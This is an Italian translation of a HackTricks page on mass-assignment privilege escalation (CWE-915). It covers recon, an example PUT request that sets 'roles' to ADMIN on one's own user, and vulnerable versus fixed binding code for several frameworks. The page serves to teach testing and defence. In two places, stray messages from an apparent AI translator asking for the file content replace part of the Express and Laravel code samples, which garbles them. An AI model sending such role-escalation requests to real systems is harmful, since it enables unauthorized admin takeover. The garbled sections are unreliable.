Mass Assignment (CWE-915) â Privilege Escalation via Unsafe Model Binding
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Mass assignment (a.k.a. insecure object binding) si verifica quando un API/controller prende JSON fornito dallâutente e lo associa direttamente a un modello/entitĂ server-side senza una allow-list esplicita di campi. Se proprietĂ privilegiate come roles, isAdmin, status o ownership fields sono bindable, qualsiasi utente autenticato può ottenere privilegi elevati o manomettere uno stato protetto.
Questo è un problema di Broken Access Control (OWASP A01:2021) che spesso abilita vertical privilege escalation impostando roles=ADMIN o simili. Colpisce comunemente framework che supportano automatic binding dei request bodies ai data models (Rails, Laravel/Eloquent, Django ORM, Spring/Jackson, Express/Mongoose, Sequelize, Go structs, ecc.).
1) Trovare Mass Assignment
Cerca endpoint self-service che aggiornano il tuo profilo o risorse simili:
- PUT/PATCH /api/users/{id}
- PATCH /me, PUT /profile
- PUT /api/orders/{id}
Euristiche che indicano mass assignment:
- La risposta ripete i campi gestiti dal server (es. roles, status, isAdmin, permissions) anche quando non li hai inviati.
- I bundle client contengono role names/IDs o altri nomi di attributi privilegiati usati in tutta lâapp (admin, staff, moderator, internal flags), suggerendo uno schema bindable.
- I serializer backend accettano campi sconosciuti senza rifiutarli.
Flusso di test rapido:
- Esegui un aggiornamento normale con solo campi sicuri e osserva lâintera struttura della risposta JSON (this leaks the schema).
- Ripeti lâaggiornamento includendo nel body un campo privilegiato creato ad arte. Se la risposta mantiene la modifica, probabilmente hai mass assignment.
Example baseline update revealing schema:
PUT /api/users/12934 HTTP/1.1
Host: target.example
Content-Type: application/json
{
"id": 12934,
"email": "user@example.com",
"firstName": "Sam",
"lastName": "Curry"
}
La risposta suggerisce campi privilegiati:
HTTP/1.1 200 OK
Content-Type: application/json
{
"id": 12934,
"email": "user@example.com",
"firstName": "Sam",
"lastName": "Curry",
"roles": null,
"status": "ACTIVATED",
"filters": []
}
2) Sfruttamento â Role Escalation via Mass Assignment
Una volta che conosci il bindable shape, includi la proprietĂ privileged nella stessa richiesta.
Esempio: imposta roles su ADMIN sulla tua user resource:
PUT /api/users/12934 HTTP/1.1
Host: target.example
Content-Type: application/json
{
"id": 12934,
"email": "user@example.com",
"firstName": "Sam",
"lastName": "Curry",
"roles": [
{ "id": 1, "description": "ADMIN role", "name": "ADMIN" }
]
}
Se la response persiste la modifica di ruolo, esegui una re-authenticate o un refresh dei tokens/claims in modo che lâapp emetta una admin-context session e mostri UI/endpoints privilegiati.
Notes
- Role identifiers and shapes are frequently enumerated from the client JS bundle or API docs. Search for strings like ârolesâ, âADMINâ, âSTAFFâ, or numeric role IDs.
- If tokens contain claims (e.g., JWT roles), a logout/login or token refresh is usually required to realize the new privileges.
3) Client Bundle Recon for Schema and Role IDs
- Inspect minified JS bundles for role strings and model names; source maps may reveal DTO shapes.
- Look for arrays/maps of roles, permissions, or feature flags. Build payloads matching the exact property names and nesting.
- Typical indicators: role name constants, dropdown option lists, validation schemas.
Handy greps against a downloaded bundle:
strings app.*.js | grep -iE "role|admin|isAdmin|permission|status" | sort -u
4) Insidie dei framework e pattern sicuri
La vulnerabilitĂ si verifica quando i framework associano req.body direttamente a entitĂ persistenti. Di seguito sono riportati errori comuni e pattern minimi e sicuri.
Node.js (Express + Mongoose)
Vulnerabile:
// Any field in req.body (including roles/isAdmin) is persisted
app.put('/api/users/:id', async (req, res) => {
const user = await User.findByIdAndUpdate(req.params.id, req.body, { new: true });
res.json(user);
});
Non ho ricevuto il contenuto del file. Per favore incolla qui il contenuto di src/pentesting-web/mass-assignment-cwe-915.md che vuoi tradurre/aggiustare e procederò a tradurre il testo rilevante in italiano mantenendo intatta tutta la sintassi markdown/html, i codici, i link e i tag.
// Strict allow-list and explicit authZ for role-changing
app.put('/api/users/:id', async (req, res) => {
const allowed = (({ firstName, lastName, nickName }) => ({ firstName, lastName, nickName }))(req.body);
const user = await User.findOneAndUpdate({ _id: req.params.id, owner: req.user.id }, allowed, { new: true });
res.json(user);
});
// Implement a separate admin-only endpoint for role updates with server-side RBAC checks.
Ruby on Rails
Vulnerabile (senza strong parameters):
def update
@user.update(params[:user]) # roles/is_admin can be set by client
end
Correzione (strong params + no privileged fields):
def user_params
params.require(:user).permit(:first_name, :last_name, :nick_name)
end
Laravel (Eloquent)
Vulnerabile:
protected $guarded = []; // Everything mass-assignable (bad)
I need the content of src/pentesting-web/mass-assignment-cwe-915.md to fix/translate it. Please paste the file text here (I will translate the English to Italian following your markdown/tag rules and keep code/paths/links unchanged).
protected $fillable = ['first_name','last_name','nick_name']; // No roles/is_admin
Spring Boot (Jackson)
Pattern vulnerabile:
// Directly binding to entity and persisting it
public User update(@PathVariable Long id, @RequestBody User u) { return repo.save(u); }
Correzione: mappare in un DTO con solo i campi consentiti e applicare i controlli di autorizzazione:
record UserUpdateDTO(String firstName, String lastName, String nickName) {}
Successivamente copia i campi consentiti dal DTO allâentitĂ lato server e gestisci le modifiche di ruolo solo in handler riservati agli admin dopo i controlli RBAC. Usa @JsonIgnore sui campi privilegiati se necessario e rifiuta proprietĂ sconosciute.
Go (encoding/json)
- Assicurati che i campi privilegiati usino json:â-â e valida con una struct DTO che includa solo i campi consentiti.
- Considera decoder.DisallowUnknownFields() e la validazione post-bind delle invarianti (i ruoli non possono cambiare nelle route self-service).
Riferimenti
- FIA Driver Categorisation: Admin Takeover via Mass Assignment of roles (Full PoC)
- OWASP Top 10 â Broken Access Control
- CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
HackTricks

